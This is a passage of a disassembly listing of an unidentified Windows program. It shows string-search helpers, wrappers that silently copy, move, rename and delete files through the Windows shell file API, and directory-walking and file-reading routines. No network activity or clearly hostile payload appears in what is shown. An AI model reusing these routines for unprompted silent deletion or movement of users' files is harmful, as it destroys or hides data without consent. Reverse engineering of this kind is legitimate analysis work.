		test	ecx, ecx
		jz	short loc_421A5E
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_421A53
		mov	eax, [ebp+var_4]
		jmp	short loc_421A61
; ---------------------------------------------------------------------------


loc_421A53:				; CODE XREF: sub_421A20+2Cj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_421A30
; ---------------------------------------------------------------------------


loc_421A5E:				; CODE XREF: sub_421A20+1Bj
		or	eax, 0FFFFFFFFh


loc_421A61:				; CODE XREF: sub_421A20+31j
		mov	esp, ebp
		pop	ebp
		retn	8
sub_421A20	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		mov	dword ptr [ebp-4], 0


loc_421A77:				; CODE XREF: HLXc:00421A8Dj
		mov	eax, [ebp+8]
		add	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421A8F
		mov	edx, [ebp-4]
		add	edx, 1
		mov	[ebp-4], edx
		jmp	short loc_421A77
; ---------------------------------------------------------------------------


loc_421A8F:				; CODE XREF: HLXc:00421A82j
		mov	eax, [ebp-4]
		sub	eax, 1
		mov	[ebp-4], eax


loc_421A98:				; CODE XREF: HLXc:00421AC4j
		mov	ecx, [ebp+8]
		add	ecx, [ebp-4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_421AC6
		mov	eax, [ebp+8]
		add	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte ptr [ebp+0Ch]
		cmp	ecx, edx
		jnz	short loc_421ABB
		mov	eax, [ebp-4]
		jmp	short loc_421AC9
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: HLXc:00421AB4j
		mov	eax, [ebp-4]
		sub	eax, 1
		mov	[ebp-4], eax
		jmp	short loc_421A98
; ---------------------------------------------------------------------------


loc_421AC6:				; CODE XREF: HLXc:00421AA3j
		or	eax, 0FFFFFFFFh


loc_421AC9:				; CODE XREF: HLXc:00421AB9j
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421ACF	proc near		; CODE XREF: HLXc:004225F7p
					; sub_42309C+D8p ...

var_2008	= dword	ptr -2008h
var_2004	= dword	ptr -2004h
var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2008h
		call	sub_431700
		mov	[ebp+var_2008],	ecx
		mov	[ebp+var_2004],	0
		push	2000h
		push	0
		push	offset a8b	; "8B"
		call	sub_431752	; memset
		add	esp, 0Ch


loc_421B00:				; CODE XREF: sub_421ACF:loc_421B5Ej
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421B60
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+arg_8]
		movsx	eax, byte ptr [edx]
		push	eax
		push	offset dword_43702C
		lea	ecx, [ebp+var_2000]
		push	ecx
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	edx, [ebp+var_2000]
		push	edx
		push	offset a8b	; "8B"
		call	dword_433078	; lstrcatA
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_C], 0
		jle	short loc_421B5E
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		mov	[ebp+arg_C], ecx
		cmp	[ebp+arg_C], 0
		jnz	short loc_421B5E
		jmp	short loc_421B60
; ---------------------------------------------------------------------------


loc_421B5E:				; CODE XREF: sub_421ACF+7Cj
					; sub_421ACF+8Bj
		jmp	short loc_421B00
; ---------------------------------------------------------------------------


loc_421B60:				; CODE XREF: sub_421ACF+3Cj
					; sub_421ACF+8Dj
		push	offset a8b	; "8B"
		mov	ecx, [ebp+arg_0]
		call	sub_43162A
		mov	edx, [ebp+var_2004]
		or	edx, 1
		mov	[ebp+var_2004],	edx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_421ACF	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C68
		mov	[ebp-230h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-22Fh]
		rep stosd
		stosb
		mov	cl, ds:byte_439C6C
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-230h]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp-230h]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421C24
		push	10000000h
		call	dword_43307C	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421C8D
; ---------------------------------------------------------------------------


loc_421C24:				; CODE XREF: HLXc:00421C13j
		push	1Eh
		push	0
		lea	ecx, [ebp-128h]
		push	ecx
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	edx, [ebp-230h]
		mov	[ebp-120h], edx
		lea	eax, [ebp-108h]
		mov	[ebp-11Ch], eax
		mov	dword ptr [ebp-124h], 2
		mov	word ptr [ebp-118h], 80h
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_421C7B
		mov	cx, [ebp-118h]
		or	cx, 210h
		mov	[ebp-118h], cx


loc_421C7B:				; CODE XREF: HLXc:00421C66j
		lea	edx, [ebp-128h]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax


loc_421C8D:				; CODE XREF: HLXc:00421C22j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C92	proc near		; CODE XREF: sub_422C48+174p
					; sub_422C48+195p ...

var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= word ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_421C92
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 130h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	al, ds:byte_439C70
		mov	[ebp+var_13C], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_13B]
		rep stosd
		stosb
		push	104h
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+var_13C]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421D0D
		push	10000000h
		call	dword_43307C	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421D79
; ---------------------------------------------------------------------------


loc_421D0D:				; CODE XREF: sub_421C92+6Aj
		push	1Eh
		push	0
		lea	ecx, [ebp+var_34]
		push	ecx
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	edx, [ebp+var_13C]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_30], 3
		mov	[ebp+var_24], 694h
		mov	[ebp+var_14], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		push	20h
		call	dword_4330E0	; Sleep
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_433288	; SHFileOperationA
		mov	[ebp+var_14], eax
		jmp	short loc_421D69
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_140]
		call	sub_431630
		mov	eax, offset loc_421D69
		retn
; ---------------------------------------------------------------------------


loc_421D69:				; CODE XREF: sub_421C92+C4j
					; DATA XREF: sub_421C92+D1o
		mov	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+var_14], 0
		setz	al


loc_421D79:				; CODE XREF: sub_421C92+79j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421C92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D8A	proc near		; CODE XREF: sub_422C48+153p
					; sub_4245AA+1B7p ...

var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C74
		mov	[ebp+var_230], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_22F]
		rep stosd
		stosb
		mov	cl, ds:byte_439C78
		mov	[ebp+var_108], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421E1E
		push	10000000h
		call	dword_43307C	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421E81
; ---------------------------------------------------------------------------


loc_421E1E:				; CODE XREF: sub_421D8A+83j
		push	1Eh
		push	0
		lea	ecx, [ebp+var_128]
		push	ecx
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	edx, [ebp+var_230]
		mov	[ebp+var_120], edx
		lea	eax, [ebp+var_108]
		mov	[ebp+var_11C], eax
		mov	[ebp+var_124], 4
		mov	[ebp+var_118], 80h
		mov	cx, [ebp+var_118]
		or	cx, 614h
		mov	[ebp+var_118], cx
		lea	edx, [ebp+var_128]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax


loc_421E81:				; CODE XREF: sub_421D8A+92j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_421D8A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C7C
		mov	[ebp-230h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-22Fh]
		rep stosd
		stosb
		mov	cl, ds:byte_439C80
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-230h]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-128h]
		push	eax
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-230h]
		mov	[ebp-120h], ecx
		lea	edx, [ebp-108h]
		mov	[ebp-11Ch], edx
		mov	dword ptr [ebp-124h], 2
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_421F44
		mov	ax, [ebp-118h]
		or	ax, 210h
		mov	[ebp-118h], ax


loc_421F44:				; CODE XREF: HLXc:00421F30j
		lea	ecx, [ebp-128h]
		push	ecx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 234h
		push	edi
		mov	al, ds:byte_439C84
		mov	[ebp-234h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-233h]
		rep stosd
		stosb
		push	104h
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-234h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-24h]
		push	eax
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-234h]
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-20h], 3
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_421FCB
		mov	dx, [ebp-14h]
		or	dx, 210h
		mov	[ebp-14h], dx


loc_421FCB:				; CODE XREF: HLXc:00421FBCj
		mov	al, ds:byte_439C88
		mov	[ebp-12Ch], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-12Bh]
		rep stosd
		lea	ecx, [ebp-12Ch]
		push	ecx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		mov	dword ptr [ebp-4], 1


loc_421FFE:				; CODE XREF: HLXc:00422030j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_422032
		lea	edx, [ebp-234h]
		push	edx
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_42239F
		add	esp, 8
		test	eax, eax
		jnz	short loc_422032
		lea	ecx, [ebp-12Ch]
		push	ecx
		call	sub_422296
		add	esp, 4
		mov	[ebp-4], eax
		jmp	short loc_421FFE
; ---------------------------------------------------------------------------


loc_422032:				; CODE XREF: HLXc:00422002j
					; HLXc:0042201Cj
		lea	edx, [ebp-24h]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	edi
		mov	al, ds:byte_439C8C
		mov	[ebp-33Ch], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-33Bh]
		rep stosd
		stosb
		mov	cl, ds:byte_439C90
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-33Ch]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-33Ch]
		mov	[ebp-124h], ecx
		lea	edx, [ebp-108h]
		mov	[ebp-120h], edx
		mov	dword ptr [ebp-128h], 1
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_422104
		mov	ax, [ebp-11Ch]
		or	ax, 210h
		mov	[ebp-11Ch], ax


loc_422104:				; CODE XREF: HLXc:004220F0j
		mov	cl, ds:byte_439C94
		mov	[ebp-234h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-233h]
		rep stosd
		lea	edx, [ebp-234h]
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		mov	dword ptr [ebp-10Ch], 1


loc_42213B:				; CODE XREF: HLXc:00422180j
		cmp	dword ptr [ebp-10Ch], 0
		jz	short loc_422182
		lea	eax, [ebp-33Ch]
		push	eax
		lea	ecx, [ebp-234h]
		push	ecx
		call	sub_42239F
		add	esp, 8
		test	eax, eax
		jnz	short loc_422182
		push	0
		call	sub_422296
		add	esp, 4
		mov	[ebp-10Ch], eax
		lea	edx, [ebp-234h]
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		jmp	short loc_42213B
; ---------------------------------------------------------------------------


loc_422182:				; CODE XREF: HLXc:00422142j
					; HLXc:0042215Cj
		lea	eax, [ebp-12Ch]
		push	eax
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422199	proc near		; CODE XREF: sub_4249D2+Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433030	; CreateDirectoryA
		pop	ebp
		retn
sub_422199	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	dword_433034	; RemoveDirectoryA
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_433038	; SetFileAttributesA
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	dword_43303C	; GetFileAttributesA
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221DB	proc near		; CODE XREF: HLXc:00421C08p
					; sub_421C92+5Fp ...

var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 144h
		push	140h
		push	0
		lea	eax, [ebp+var_140]
		push	eax
		call	sub_431752	; memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_140]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_433080	; FindFirstFileA
		mov	[ebp+var_144], eax
		cmp	[ebp+var_144], 0FFFFFFFFh
		jnz	short loc_42221E
		xor	eax, eax
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_42221E:				; CODE XREF: sub_4221DB+3Dj
		mov	eax, [ebp+var_140]
		or	al, 10h
		cmp	[ebp+var_140], eax
		jnz	short loc_422280


loc_42222E:				; CODE XREF: sub_4221DB:loc_42226Aj
		lea	ecx, [ebp+var_140]
		push	ecx
		mov	edx, [ebp+var_144]
		push	edx
		call	dword_433084	; FindNextFileA
		test	eax, eax
		jz	short loc_42226C
		mov	eax, [ebp+var_140]
		or	al, 10h
		cmp	[ebp+var_140], eax
		jz	short loc_42226A
		mov	ecx, [ebp+var_144]
		push	ecx
		call	dword_433040	; FindClose
		mov	eax, 2
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_42226A:				; CODE XREF: sub_4221DB+79j
		jmp	short loc_42222E
; ---------------------------------------------------------------------------


loc_42226C:				; CODE XREF: sub_4221DB+69j
		mov	edx, [ebp+var_144]
		push	edx
		call	dword_433040	; FindClose
		mov	eax, 1
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_422280:				; CODE XREF: sub_4221DB+51j
		mov	eax, [ebp+var_144]
		push	eax
		call	dword_433040	; FindClose
		mov	eax, 2


loc_422292:				; CODE XREF: sub_4221DB+41j
					; sub_4221DB+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4221DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422296	proc near		; CODE XREF: HLXc:00422025p
					; HLXc:00422160p

var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	edi
		mov	al, ds:byte_439C98
		mov	[ebp+var_10C], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		lea	ecx, [ebp+var_10C]
		push	ecx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		lea	edx, [ebp+var_10C]
		push	edx
		call	sub_422435
		add	esp, 4
		movsx	eax, al
		test	eax, eax
		jz	short loc_4222E9
		xor	eax, eax
		jmp	loc_42239A
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_422296+4Aj
		lea	ecx, [ebp+var_10C]
		push	ecx
		call	sub_43175E	; strlen
		add	esp, 4
		mov	[ebp+var_110], eax
		mov	edx, [ebp+var_110]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_422315
; ---------------------------------------------------------------------------


loc_42230C:				; CODE XREF: sub_422296:loc_42237Dj
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_422315:				; CODE XREF: sub_422296+74j
		cmp	[ebp+var_4], 0
		jl	short loc_42237F
		mov	ecx, [ebp+var_4]
		movsx	edx, [ebp+ecx+var_10C]
		cmp	edx, 5Ch
		jnz	short loc_42237D
		mov	eax, [ebp+var_4]
		mov	[ebp+eax+var_10C], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_42234F
		lea	ecx, [ebp+var_10C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431758	; strcpy
		add	esp, 8


loc_42234F:				; CODE XREF: sub_422296+A4j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_422435
		add	esp, 4
		movsx	ecx, al
		test	ecx, ecx
		jz	short loc_422369
		xor	eax, eax
		jmp	short loc_42239A
; ---------------------------------------------------------------------------


loc_422369:				; CODE XREF: sub_422296+CDj
		lea	edx, [ebp+var_10C]
		push	edx
		call	dword_433048	; SetCurrentDirectoryA
		mov	eax, 1
		jmp	short loc_42239A
; ---------------------------------------------------------------------------


loc_42237D:				; CODE XREF: sub_422296+93j
		jmp	short loc_42230C
; ---------------------------------------------------------------------------


loc_42237F:				; CODE XREF: sub_422296+83j
		cmp	[ebp+arg_0], 0
		jz	short loc_422398
		lea	eax, [ebp+var_10C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431758	; strcpy
		add	esp, 8


loc_422398:				; CODE XREF: sub_422296+EDj
		xor	eax, eax


loc_42239A:				; CODE XREF: sub_422296+4Ej
					; sub_422296+D1j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_422296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42239F	proc near		; CODE XREF: HLXc:00422012p
					; HLXc:00422152p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43175E	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_43175E	; strlen
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		cmp	[ebp+var_4], edx
		jb	short loc_4223D3
		xor	eax, eax
		jmp	short loc_422430
; ---------------------------------------------------------------------------


loc_4223D3:				; CODE XREF: sub_42239F+2Ej
		mov	[ebp+var_8], 0
		jmp	short loc_4223E5
; ---------------------------------------------------------------------------


loc_4223DC:				; CODE XREF: sub_42239F:loc_42241Dj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4223E5:				; CODE XREF: sub_42239F+3Bj
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_42241F
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		push	eax
		call	dword_4331F4	; toupper
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		push	edx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	esi, eax
		jz	short loc_42241D
		xor	eax, eax
		jmp	short loc_422430
; ---------------------------------------------------------------------------


loc_42241D:				; CODE XREF: sub_42239F+78j
		jmp	short loc_4223DC
; ---------------------------------------------------------------------------


loc_42241F:				; CODE XREF: sub_42239F+4Cj
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		xor	eax, eax
		cmp	ecx, 5Ch
		setz	al


loc_422430:				; CODE XREF: sub_42239F+32j
					; sub_42239F+7Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42239F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422435	proc near		; CODE XREF: sub_422296+3Dp
					; sub_422296+C0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43175E	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jl	short loc_422454
		cmp	[ebp+var_4], 3
		jle	short loc_422458


loc_422454:				; CODE XREF: sub_422435+17j
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422458:				; CODE XREF: sub_422435+1Dj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		push	edx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	eax, 41h
		jl	short loc_422482
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	eax, 5Ah
		jle	short loc_422486


loc_422482:				; CODE XREF: sub_422435+36j
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422486:				; CODE XREF: sub_422435+4Bj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 3Ah
		jz	short loc_422496
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422496:				; CODE XREF: sub_422435+5Bj
		cmp	[ebp+var_4], 3
		jnz	short loc_4224AC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Ch
		jz	short loc_4224AC
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_4224AC:				; CODE XREF: sub_422435+65j
					; sub_422435+71j
		mov	eax, [ebp+arg_0]
		mov	al, [eax]


loc_4224B1:				; CODE XREF: sub_422435+21j
					; sub_422435+4Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224B5	proc near		; CODE XREF: HLXc:0042257Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4331EC	; ftell
		add	esp, 4
		mov	[ebp+var_4], eax
		push	2
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4331F0	; fseek
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4331EC	; ftell
		add	esp, 4
		mov	[ebp+var_8], eax
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4331F0	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4224B5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_431C9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		mov	[ebp-34h], ecx
		mov	dword ptr [ebp-30h], 0
		mov	dword ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_43164E
		mov	byte ptr [ebp-4], 2
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-10h], 0
		push	offset aR_0	; "r"
		lea	ecx, [ebp+0Ch]
		call	sub_4226A0
		push	eax
		call	dword_4331C4	; fopen
		add	esp, 8
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_4225E0
		mov	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp-34h]
		call	sub_4224B5
		mov	[ebp-14h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-28h], 0
		jmp	short loc_4225A9
; ---------------------------------------------------------------------------


loc_4225A0:				; CODE XREF: HLXc:004225BAj
		mov	edx, [ebp-28h]
		add	edx, 1
		mov	[ebp-28h], edx


loc_4225A9:				; CODE XREF: HLXc:0042259Ej
		mov	eax, [ebp-28h]
		cmp	eax, [ebp-14h]
		jge	short loc_4225BC
		mov	ecx, [ebp-10h]
		add	ecx, [ebp-28h]
		mov	byte ptr [ecx],	0Ah
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_4225BC:				; CODE XREF: HLXc:004225AFj
		mov	edx, [ebp-24h]
		push	edx
		push	1
		mov	eax, [ebp-14h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	dword_433254	; fread
		add	esp, 10h
		mov	edx, [ebp-24h]
		push	edx
		call	dword_4331D0	; fclose
		add	esp, 4


loc_4225E0:				; CODE XREF: HLXc:00422576j
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_422630
		mov	eax, [ebp-14h]
		push	eax
		push	0
